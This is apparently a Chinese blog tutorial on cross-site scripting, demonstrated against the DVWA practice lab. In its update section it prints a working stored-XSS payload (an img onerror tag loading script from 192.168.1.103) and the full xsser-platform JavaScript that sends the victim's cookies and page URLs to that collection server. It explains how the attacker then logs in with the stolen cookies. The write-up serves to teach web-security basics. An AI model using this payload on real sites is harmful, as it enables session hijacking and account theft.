揭秘——黑客是如何使用xss的
0x00 什么是xss
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。(摘自百度百科)
在 2013 owasp top 10 中,xss被列在第三位,可想而知xss在web攻击手段里,有着不小的地位。
0x01 xss检测
ps:搭建一个DVWA作为测试环境。小白用户可以直接将DVWA理解成一个充满了各种web漏洞的网站,当然xss也在其中。
在DVWA安全等级为最低的情况下,该平台对任意用户的输入并没有做任何过滤。也就是说,输入既是输出。
在一般的xss检测过程中,安全研究人员或者是黑客,通常会使用最简单的alert(1),来检测当前输入位置是否存在xss。
ps:什么是alert(1)?这是一行简单的javascript代码,如果正常运行的话,浏览器将会弹出一个对话框。如果你使用的是Chrome浏览器的话,可以尝试着按F12开启开发者选项,在console中输入alert(1)。将会看到如下效果
接下来去DVWA环境里检测xss。
在页面中提交如下数据:
Name : alert(1)
Message :</div><script>alert(1)</script>
将会看到一个对话框的弹出。
接下来每刷新一次页面,都将会弹出该对话框。
简单的分析一下该页面的源代码
这是正常的一条评论。
这里是刚刚提交的不正常的评论。
可以看到,我们在message里面提交的</div>提前闭合了该条评论。从而导致javascript代码能够被解析并执行。
0x02 黑客是怎么利用的
安全研究人员到了上面这一步,就可以收工了。然而,作为一个好奇心作怪的黑客,怎么能就此为止呢。
那么黑客到底是怎么利用的呢?
可以知道,如果网站存在xss漏洞的话,就能执行恶意的javascript代码,那么javascript就能够执行很多本地的操作,比如获取当前网页的cookies。
ps:比如你可以试试在console里面输入alert(document.cookie),将会把你浏览的当前网站的cookies弹出。
有了cookies,黑客就可以直接使用这个cookies伪造登录。
当然,黑客并不会在有xss漏洞的地方只插入一段alert(document.cookie),因为黑客又看不到。。。
黑客到了这,将会利用javascript代码,将获取到的cookies发送到自己搭建好的一个平台,并记录下以便利用。
这里介绍一个xss platform——xsser,也就是xss收信平台,最早开源于wooyun(怀念wooyun,致敬)。也是目前黑客最常使用的一个平台。
搭建好xsser这个平台后,建一个新的项目。像是这样
回到DVWA中,提交新的数据。
提交该数据后,就可以在xsser平台中,看到发来的信息。
到这里,黑客就能够利用获取到的cookies伪造登录了。
------- update 2016/10/11 1:15 ---------
写文章时没有抓住重点,导致内容与标题不符。
前来更新关于插入代码部分的分析,更加偏重对黑客利用手法的分析。
在message写入的内容为:
<img onerror="s=createElement('script');body.appendChild(s);s.src='http://192.168.1.103/xss/SMA9ST';" src="x">
这是一个img图片标签,src指向图片的源地址为‘x’,很明显这个地址不存在。所以就将会执行img标签里面的onerror的属性内容。其内容是通过产生一个script代码标签,并将代码的源地址指向xsser平台。通过访问http://192.168.1.103/xss/SMA9ST这个地址,将会获得以下javascript代码。
这是平台自动生成的代码。
(function() {
(new Image()).src = 'http://192.168.1.103/xss/index.php?do=api&id=SMA9ST&location=' + escape((function() {
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&toplocation=' + escape((function() {
try {
return top.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape((function() {
try {
return document.cookie
} catch (e) {
return ''
}
})()) + '&opener=' + escape((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
} catch (e) {
return ''
}
})());
})();
在这段javascript中,同样是通过产生一个图片对象,请求的地址为xsser平台的一个链接,在函数中,通过javascript的操作,获取到了网页地址信息,以及最重要的cookies信息。
每当打开一次DVWA中的xss页面时,浏览器就会自动的去请求这段javascript代码,并且执行函数,进一步通过以伪装请求图片的方式,向xsser平台发送数据。
希望这次更新能对大家有帮助。
难免有些差错、不严谨的地方,还望见谅。
---------------- update end --------------
当然,黑客有时候并不一定是为了cookies。
也许是为了明天的馒头呢。
(感谢 @Murasaki 指出alert(document.cookie)里的cookie没有s,已更正。)